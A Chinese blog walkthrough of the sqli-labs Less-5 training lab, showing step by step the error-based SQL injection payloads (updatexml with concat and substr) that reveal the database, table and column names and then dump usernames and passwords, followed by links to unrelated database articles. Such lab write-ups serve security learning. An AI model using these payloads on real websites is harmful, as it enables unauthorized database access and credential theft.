SQL注入实例(sqli-labs/less-5)

0、初始页面

1、确定闭合字符

复制代码
?id=1 and 1=1 
?id=1 and 1=2
?id=1'
?id=1' --+

在进行前两句传参时,页面没有发生任何变化,但是当使用单引号闭合时,报错了。通过报错可以确定闭合符号为单引号。

2、爆库名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

3、爆表名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4、爆列名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+

5、查询最终目标

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

因为concat有字符长度限制,所以需要substr搭配使用

复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
相关推荐
鼠鼠我捏,要死了捏1 小时前
生产环境MongoDB分片策略优化与故障排查实战经验分享
数据库·mongodb·分片
KaiwuDB2 小时前
KWDB 分布式架构探究——数据分布与特性
数据库·分布式
笨蛋不要掉眼泪2 小时前
Spring Boot集成腾讯云人脸识别实现智能小区门禁系统
java·数据库·spring boot
Leiwenti3 小时前
MySQL高阶篇-数据库优化
数据结构·数据库·mysql
你的电影很有趣3 小时前
lesson44:Redis 数据库全解析:从数据类型到高级应用
数据库·redis·缓存
NineData3 小时前
2025 DTCC大会来了,NineData联合创始人周振兴将分享《AI重塑数据库管理模式》的主题演讲
数据库
NineData3 小时前
NineData亮相2025中国数据库技术大会,并荣获《年度优秀技术团队奖》
数据库
码农阿豪4 小时前
KingbaseES数据库增删改查操作分享
数据库·oracle
言之。4 小时前
Django REST框架核心:GenericAPIView详解
数据库·python·django
DemonAvenger5 小时前
MySQL存储引擎深度对比:InnoDB vs MyISAM及其应用场景解析
数据库·mysql·性能优化